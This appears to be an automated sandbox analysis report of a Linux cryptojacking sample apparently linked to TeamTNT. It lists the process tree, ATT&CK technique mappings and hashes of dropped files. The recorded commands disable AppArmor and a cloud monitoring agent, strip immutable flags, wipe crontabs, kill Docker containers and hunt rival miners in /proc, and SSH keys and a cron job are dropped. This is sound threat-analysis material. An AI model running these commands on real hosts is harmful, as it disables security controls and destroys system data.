    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1639
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1640
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1641
- /usr/local/sbin/systemctl
  systemctl stop watchdogd.service
  2⤵
  PID:1623
- /usr/local/bin/systemctl
  systemctl stop watchdogd.service
  2⤵
  PID:1623
- /usr/sbin/systemctl
  systemctl stop watchdogd.service
  2⤵
  PID:1623
- /usr/bin/systemctl
  systemctl stop watchdogd.service
  2⤵
  PID:1623
- /sbin/systemctl
  systemctl stop watchdogd.service
  2⤵
  - Disables AppArmor
  PID:1623
- /bin/systemctl
  systemctl stop watchdogd.service
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:1623
- /bin/rm
  rm -fr "/usr/bin/TeamTNT/*"
  2⤵
  PID:1642
- /usr/bin/chattr
  chattr -iau /tmp/lok
  2⤵
  - Attempts to change immutable files
  PID:1643
- /bin/chmod
  chmod +700 /tmp/lok
  2⤵
  PID:1644
- /bin/rm
  rm -rf /tmp/lok
  2⤵
  PID:1645
- /bin/sleep
  sleep 1
  2⤵
  PID:1646
- /usr/bin/chattr
  chattr -i /tmp/kdevtmpfsi
  2⤵
  PID:1647
- /usr/bin/chattr
  chattr +i /tmp/kdevtmpfsi
  2⤵
  PID:1648
- /bin/sleep
  sleep 1
  2⤵
  PID:1649
- /usr/bin/chattr
  chattr -i /usr/lib/systemd/systemd-update-daily
  2⤵
  - Attempts to change immutable files
  PID:1650
- /usr/bin/chattr
  chattr +i /usr/lib/systemd/systemd-update-daily
  2⤵
  PID:1651
- /usr/bin/xargs
  xargs -r docker kill
  2⤵
  PID:1653
- /usr/bin/xargs
  xargs -r docker rmi -f
  2⤵
  - Flushes firewall rules
  PID:1655
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:1656
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1657
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1658
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1659
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1662
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1661
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1663
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1664
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Disables AppArmor
    PID:1665
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Disables AppArmor
    PID:1666
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    - Enumerates kernel/hardware configuration
    PID:1667
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1668
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1669
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Disables AppArmor
    PID:1670
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Disables AppArmor
    PID:1671
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    PID:1672
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1673
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1674
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1656
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1656
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1656
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1656
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  PID:1656
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1656
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:1675
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  PID:1676
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1677
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1678
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1679
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1682
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1681
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1683
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Disables AppArmor
    PID:1684
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1685
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1686
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1687
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1688
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1689
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1690
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1691
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1692
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1693
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1694
- /usr/local/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:1676
- /usr/local/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1676
- /usr/sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1676
- /usr/bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1676
- /sbin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  PID:1676
- /bin/systemctl
  systemctl stop aliyun.service.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:1676
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  - Disables AppArmor
  PID:1695
- /usr/bin/chattr
  chattr -R -ia "/usr/bin/TeamTNT/*" "/usr/bin/watchdogd*" /var/spool/cron /etc/crontab /etc/cron.d /var/spool/cron/crontabs
  2⤵
  - Attempts to change immutable files
  PID:1696
- /usr/bin/chattr
  chattr -iau /tmp/lok
  2⤵
  PID:1697
- /usr/bin/chattr
  chattr -i /tmp/kdevtmpfsi /usr/lib/systemd/systemd-update-daily
  2⤵
  PID:1698
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:1699
- /bin/rm
  rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs
  2⤵
  PID:1700
- /bin/rm
  rm -rf "/etc/cron.d/*"
  2⤵
  PID:1701
- /bin/rm
  rm -rf /var/spool/cron/crontabs
  2⤵
  PID:1702
- /bin/rm
  rm -rf /etc/crontab
  2⤵
  PID:1703
- /bin/ps
  ps axf -o pid
  2⤵
  - Reads runtime system information
  PID:1704
- /bin/grep
  grep /tmp
  2⤵
  PID:1707
- /bin/ls
  ls -l /proc/PID/exe
  2⤵
  PID:1706
- /bin/grep
  grep /tmp
  2⤵
  PID:1709
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:1708
- /bin/grep
  grep /tmp
  2⤵
  PID:1711
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:1710
- /bin/grep
  grep /tmp
  2⤵
  PID:1713
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:1712
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:1714
- /bin/grep
  grep /tmp
  2⤵
  PID:1715
- /bin/grep
  grep /tmp
  2⤵
  PID:1717
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:1716
- /bin/grep
  grep /tmp
  2⤵
  PID:1719
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:1718
- /bin/grep
  grep /tmp
  2⤵
  PID:1721
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:1720
- /bin/grep
  grep /tmp
  2⤵
  PID:1723
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:1722
- /bin/grep
  grep /tmp
  2⤵
  PID:1725
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:1724
- /bin/grep
  grep /tmp
  2⤵
  PID:1727
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:1726
- /bin/grep
  grep /tmp
  2⤵
  PID:1729
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:1728
- /bin/grep
  grep /tmp
  2⤵
  PID:1731
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:1730
- /bin/grep
  grep /tmp
  2⤵
  PID:1733
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:1732
- /bin/grep
  grep /tmp
  2⤵
  PID:1735
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:1734
- /bin/grep
  grep /tmp
  2⤵
  PID:1737
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:1736
- /bin/grep
  grep /tmp
  2⤵
  PID:1739
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:1738
- /bin/grep
  grep /tmp
  2⤵
  PID:1741
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:1740
- /bin/grep
  grep /tmp
  2⤵
  PID:1743
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:1742
- /bin/grep
  grep /tmp
  2⤵
  PID:1745
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:1744
- /bin/grep
  grep /tmp
  2⤵
  PID:1747
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:1746
- /bin/grep
  grep /tmp
  2⤵
  PID:1749
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:1748
- /bin/grep
  grep /tmp
  2⤵
  PID:1751
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:1750
- /bin/grep
  grep /tmp
  2⤵
  PID:1753
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:1752
- /bin/grep
  grep /tmp
  2⤵
  PID:1755
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  PID:1754
- /bin/grep
  grep /tmp
  2⤵
  PID:1757
- /bin/ls
  ls -l /proc/37/exe
  2⤵
  PID:1756
- /bin/grep
  grep /tmp
  2⤵
  PID:1759
- /bin/ls
  ls -l /proc/70/exe
  2⤵
  PID:1758
- /bin/grep
  grep /tmp
  2⤵
  PID:1761
- /bin/ls
  ls -l /proc/71/exe
  2⤵
  PID:1760
- /bin/grep
  grep /tmp
  2⤵
  PID:1763
- /bin/ls
  ls -l /proc/72/exe
  2⤵
  PID:1762
- /bin/grep
  grep /tmp
  2⤵
  PID:1765
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  PID:1764
- /bin/grep
  grep /tmp
  2⤵
  PID:1767
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  PID:1766
- /bin/grep
  grep /tmp
  2⤵
  PID:1769
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  PID:1768
- /bin/grep
  grep /tmp
  2⤵
  PID:1771
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  PID:1770
- /bin/grep
  grep /tmp
  2⤵
  PID:1773
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  PID:1772
- /bin/grep
  grep /tmp
  2⤵
  PID:1775
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  PID:1774
- /bin/grep
  grep /tmp
  2⤵
  PID:1777
- /bin/ls
  ls -l /proc/80/exe
  2⤵
  PID:1776
- /bin/grep
  grep /tmp
  2⤵
  PID:1779
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  PID:1778
- /bin/grep
  grep /tmp
  2⤵
  PID:1781
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  PID:1780
- /bin/grep
  grep /tmp
  2⤵
  PID:1783
- /bin/ls
  ls -l /proc/125/exe
  2⤵
  PID:1782
- /bin/grep
  grep /tmp
  2⤵
  PID:1785
- /bin/ls
  ls -l /proc/126/exe
  2⤵
  PID:1784
- /bin/grep
  grep /tmp
  2⤵
  PID:1787
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  PID:1786
- /bin/grep
  grep /tmp
  2⤵
  PID:1789
- /bin/ls
  ls -l /proc/235/exe
  2⤵
  PID:1788
- /bin/grep
  grep /tmp
  2⤵
  PID:1791

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Software Deployment Tools

T1072

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Software Deployment Tools

T1072

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /bin/ps
Size 13B
SHA256 be167c52e59f0a02ca6841074d9e73205b2f7898ad73d405c7b96f9efb440c36
MD5 3d47b8e895a71930bda5d4f3d8fc8589
SHA1 efbaf468b81abb6b465ca12f35fa067bae1b4f10
SHA512 bd109ac68d85a8451187e31b8ec62dbc062d3fa2aab866928b094b64318912c7056f42ca363b01af74b1898f84d2675f3099d1aab72140b6ba932a16257aa5eb
MD5 SHA1 SHA512

Submit Download

Path /bin/ps
Size 59B
SHA256 e8d6dd69a1d41a6ad25fc10f0a8e0901871937f9f9e8137154cbb05f1c72e985
MD5 2d61b4a9b9898e1da3a2b7954fa7b7a4
SHA1 fa842cadeda7f0c556e5c8c27f1ba60f81c8092b
SHA512 4ed51982961925b45d64906643458db37b3ea6a31156c8c5c557af4263d2f02f33be70c8f206827bc6e8fe694980c0e06ae1a39121677832a05cb1c447f9d39d
TLSH
T142A0025C5528DD220E545D17A761AEE590441C304E539A802025819E85813A6752000E
MD5 SHA1 SHA512 TLSH

Submit Download

pstree

Path /bin/pstree
Size 63B
SHA256 5d726e7c5d40e76eb22dc2db45a87cd73c37ec7426c606935e4cb97fb49c7ea2
MD5 581d31c8fd3c8b66bfbaedaba9622f54
SHA1 856fe30044b3827ae71baefe414db8dc9f622d73
SHA512 4f67d911e5bc8552fcd5804af646bc6e60c60117b0dd3fb83582c7bf45f88311544343c2b2382c5500c169d5a672f40a7015f08403fecc982866687bebcd7173
TLSH
T1A5A0025C952CDD214E544D17A7612EE590451C348E539A402025829B85423A6752004E
MD5 SHA1 SHA512 TLSH

Submit Download

top

Path /bin/top
Size 60B
SHA256 8c749508c87e69aafdde189d64c256c96223d639cb409e8f0a847a1c21b66383
MD5 ac149152014da2cc657885bb3972c13d
SHA1 31d3ab03ee11508b80eb24a4bc8446e946e34eaf
SHA512 ab4cb911dc0f11fca228754fe45e2d938576483f969146fbd187c5c28d58fb873ecc732a191a63fb930299ab15c7745adfbb3cb310db7d595a0715e49fd9afee
TLSH
T156A0025C55189D200E548917A7712EE5A0451C308E97AE402429C19A85513A6765011E
MD5 SHA1 SHA512 TLSH

Submit Download

javae

Path /etc/cron.d/javae
Size 50B
SHA256 19885472ffda5420a3a19a7edebf16d943ccee434c7e983d542c5edf5da46736
MD5 f3c6fe6300beca2608067545d5925340
SHA1 131573f13004a8817a0afe4a1cd92d49b53bd04d
SHA512 af554e7bbfee8228b24b96d0a294543879f712f831e0a14b9871dddcc2e7ba7d82a87f871adef62fc771e70a9419fbdbcbbf50f8267a56a932f6ab84b68e9feb
TLSH
T1CD9004F154105C053404FD3C570401D04C4355F111D4754145CDCC51557D30F050F554
MD5 SHA1 SHA512 TLSH

Submit Download

crontab

Path /etc/crontab
Size 47B
SHA256 0a6c2137ee345f4fa1193df05ae33b8dc24518fdc164d3f2e1d328489db958cf
MD5 5d189c912bb8ded38ffaec70d2419cf0
SHA1 31bd5b584641d1633fa5973520a5a206198becc8
SHA512 9e15778b68ecbac2d30693f097ef42361ac809bc991836de4ffebd69890744dc412ae9ec3d50118b358d16f2d31d42874eb6cfd909ac3e1395ed0eaf3c7221f0
MD5 SHA1 SHA512

Submit Download

javae

Path /etc/javae
Size 2B
SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
MD5 b026324c6904b2a9cb4b88d6d61c81d1
SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
MD5 SHA1 SHA512

Submit Download

javae

Path /etc/javae
Size 4KB
SHA256 75269a5cc80ebcf8fb3b298df42b80e91b7bfa320f799b3a3b3955ba653b882d
MD5 eb04842a2383acd9da3cc520a0ee58e9
SHA1 ab62b4b7457cc130b845efcfe3ea9cbbb3657558
SHA512 1edf007f143af6edd66c040cbea0522ef078563f36043b3f5a2cd548096c2ca6f1ed915bd492057eb21c5f78f7c891ea2cd1ba3ec1e0d4280d2bb9b1913971af
SSDEEP 96:fjFj7jOjEUDK/D5DMFLzLeiO/tjG2uR7RZlvaQxvbzM:fjFj7jOjEIK/VoPnOVxuR7XlCejzM
TLSH
T1AF915366FABD107F20D3917361BD770A7AA1C047DA9608903ABCC2755F8AF95AA131C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kworker

Path /etc/kworker
Size 35KB
SHA256 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30
MD5 501ec2da3039ebe4ca379f663232176a
SHA1 c91a51e4392a7cb5d3279f369ecaab670af6b543
SHA512 51984bad15d2ba12607fc6fffee25b5881bf83ae94f6e9ab5d1a737be8fd3cddeb67a97334799063d18ce68b0b7ef9818a8fd80ec8679d6b9708d09a107c0308
SSDEEP 768:vxlT2wDuWvWi78DcFHcbSRlIniRULz/Ql/+9l:wZDEcbSciI19l
TLSH
T1C4F2349DE070DCB13C64CC51DD923318A4AEE09FC5B3BA88BE1D393C67A4149F9A016E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

authorized_keys

Path /root/.ssh/authorized_keys
Size 557B
SHA256 cfc3a74939edac785d66664757b3c877a7e5f4fae29b3a5bdf8b55e79573dfb5
MD5 12bf68ad9999dcbc8bd1d9a728d600aa
SHA1 7f302d2df5e075f879586cb0ab1dcc0b0870cc98
SHA512 ef6a8c50fd411622eefae30bfcc962368f355ec897b0136b2290784344ce735c3b3d51feda679e3c42ab524197d6515f1f8699e17598171a1b888b0fbe5229e7
TLSH
T1D7F0412660AB00C72912188CD3308E3638CE05F2B4E4050A5414A142D2B549AC6E62FC
MD5 SHA1 SHA512 TLSH

Submit Download

irqbalanced

Path /usr/bin/irqbalanced
Size 2B
SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
MD5 6d7fce9fee471194aa8b5b6e47267f03
SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
MD5 SHA1 SHA512

Submit Download

kswaped

Path /usr/bin/kswaped
Size 2B
SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
MD5 26ab0db90d72e28ad0ba1e22ee510510
SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
MD5 SHA1 SHA512

Submit Download

pamdicks

Path /usr/bin/pamdicks
Size 2B
SHA256 06e9d52c1720fca412803e3b07c4b228ff113e303f4c7ab94665319d832bbfb7
MD5 9ae0ea9e3c9c6e1b9b6252c8395efdc1
SHA1 ccf271b7830882da1791852baeca1737fcbe4b90
SHA512 f3d08a4bfef201adbe711e8805f96ff13909719107dcac81f4fc9185040d59d8d573344a0707e697f8b4f0212e0d79f3bdd6b86688dd8c54019b9d93c937f3ca
MD5 SHA1 SHA512

Submit Download

rctlcli

Path /usr/bin/rctlcli
Size 2B
SHA256 7de1555df0c2700329e815b93b32c571c3ea54dc967b89e81ab73b9972b72d1d
MD5 48a24b70a0b376535542b996af517398
SHA1 9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
SHA512 db545c410fd0c8ede533d5b0666cd2798ba380bd25b655619cd5fd3a33a255569b3ccc319bfdef3322d8392d894d15c2e6aa2d53346e6ac54eaf5d627bfe6a9a
MD5 SHA1 SHA512

Submit Download

systemd-network

Path /usr/bin/systemd-network
Size 2B
SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
MD5 1dcca23355272056f04fe8bf20edfce0
SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
MD5 SHA1 SHA512

Submit Download

root

Path /var/mail/root
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads